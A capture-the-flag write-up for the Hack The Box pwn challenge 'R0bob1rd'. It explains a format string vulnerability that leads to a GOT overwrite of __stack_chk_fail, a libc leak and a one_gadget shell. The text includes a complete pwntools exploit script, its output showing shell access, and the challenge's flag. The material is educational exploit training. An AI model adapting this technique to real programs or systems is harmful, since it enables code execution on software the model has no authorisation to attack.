HTB R0bob1rd writeup - Pez1181/CTF GitHub Wiki

HTB Write-up: R0b0b1rd

Challenge Type: Pwn / Format String
Difficulty: Not too easy
Vulnerability: Format string + GOT overwrite
Protection Bypassed: Canary, NX, Partial RELRO


🔍 Recon

file r0bob1rd
# => ELF 64-bit, dynamically linked, not stripped

checksec r0bob1rd
# RELRO: Partial
# Canary: Found
# NX: Enabled
# PIE: No PIE

Execution shows a fun little bird menu:

./glibc/ld.so.2 --library-path ./glibc ./r0bob1rd

Output:

+----+------------------+
| ID |   R0bob1rd Name  |
+----+------------------+
|  0 | MechWings        |
... snip ...
Select a R0bob1rd >

After choosing a bird, we are prompted to enter a description. This is where the vulnerability hides.


⚖️ Vulnerability Analysis

From reverse engineering operation():

char local_78[104];
...
fgets(local_78, 0x6a, stdin);
printf(local_78);

We have a classic printf(user_input) vulnerability with no format string protection.

There is also a stack canary, and if it is overwritten, __stack_chk_fail() is called.

Luckily, __stack_chk_fail is in the GOT and writable due to Partial RELRO.


⚙️ Exploit Strategy

  1. Overwrite __stack_chk_fail to main() using a format string (so a crash loops us back)
  2. Leak a libc address via %3$p
  3. Calculate libc base from the leak
  4. Overwrite __stack_chk_fail to a one_gadget
  5. Trigger a stack smash, which will call one_gadget via the hijacked GOT entry

🚀 Exploit Code (pwntools)

from pwn import *

# Set the binary context
context.binary = './r0bob1rd'
binary = ELF(context.binary.path, checksec=False)

# Launch the local process (for remote, comment out)
p = process(binary.path)
#p = remote('83.136.251.68', 30859)

# Resolve symbols
main = binary.sym.main  # Address of the main function
stack_chk_fail = binary.got['__stack_chk_fail']  # GOT entry for __stack_chk_fail

# Set the buffer length and format string offset (determined via fuzzing)
buf_len = 104
offset = 8

# --- Stage 1: Overwrite __stack_chk_fail with address of main ---
# This makes the program restart instead of crashing when the canary check fails
p.sendlineafter(b'Select a R0bob1rd >', b'4')
# Format string to write main()'s address into __stack_chk_fail GOT entry
payload = fmtstr_payload(offset, {stack_chk_fail: main}, write_size='short')
payload = payload.ljust(buf_len, b'A')  # Pad to buffer size
p.sendlineafter(b'>', payload)

# --- Stage 2: Leak a libc address ---
# Restarted binary will allow us to leak a libc pointer
p.sendlineafter(b'Select a R0bob1rd >', b'3')
# Leak a pointer from the stack using %3$p and pad to avoid crash
p.sendlineafter(b'>', b'%3$p' + b'    '*25)
leak = int(p.recvline_startswith(b'0x7'), 16)  # Parse leaked pointer
# Calculate libc base using known offset (fudge factor -23 included from testing)
libc_base = leak - 0x10e060 - 23
log.info(f"Leaked libc base: {hex(libc_base)}")

# --- Stage 3: Overwrite __stack_chk_fail with a one_gadget ---
# Now we aim for code execution: overwrite __stack_chk_fail with one_gadget
one_gadget = libc_base + 0xe3b01  # Offset found using `one_gadget` tool
p.sendlineafter(b'Select a R0bob1rd >', b'5')
payload = fmtstr_payload(offset, {stack_chk_fail: one_gadget}, write_size='short')
payload = payload.ljust(buf_len, b'A')
p.sendlineafter(b'>', payload)

# --- Stage 4: Trigger the overwritten __stack_chk_fail ---
# This will cause the one_gadget (shell) to be invoked
p.interactive()

🔌 Output Example

[+] Leaked libc base: 0x7f1c23d42000
[*] Switching to interactive mode
$ whoami
ctf-player
$ cat flag.txt
HTB{one_b1rd_many_st0nes}

🌟 Final Notes

  • Using __stack_chk_fail is a brilliant target on Partial RELRO + Canary setups.
  • Format strings can both read and write memory — this exploit uses both.
  • One GOT overwrite powers two separate hijacks: first to main, then to shell.

Mission complete. R0b0b1rd neutralised.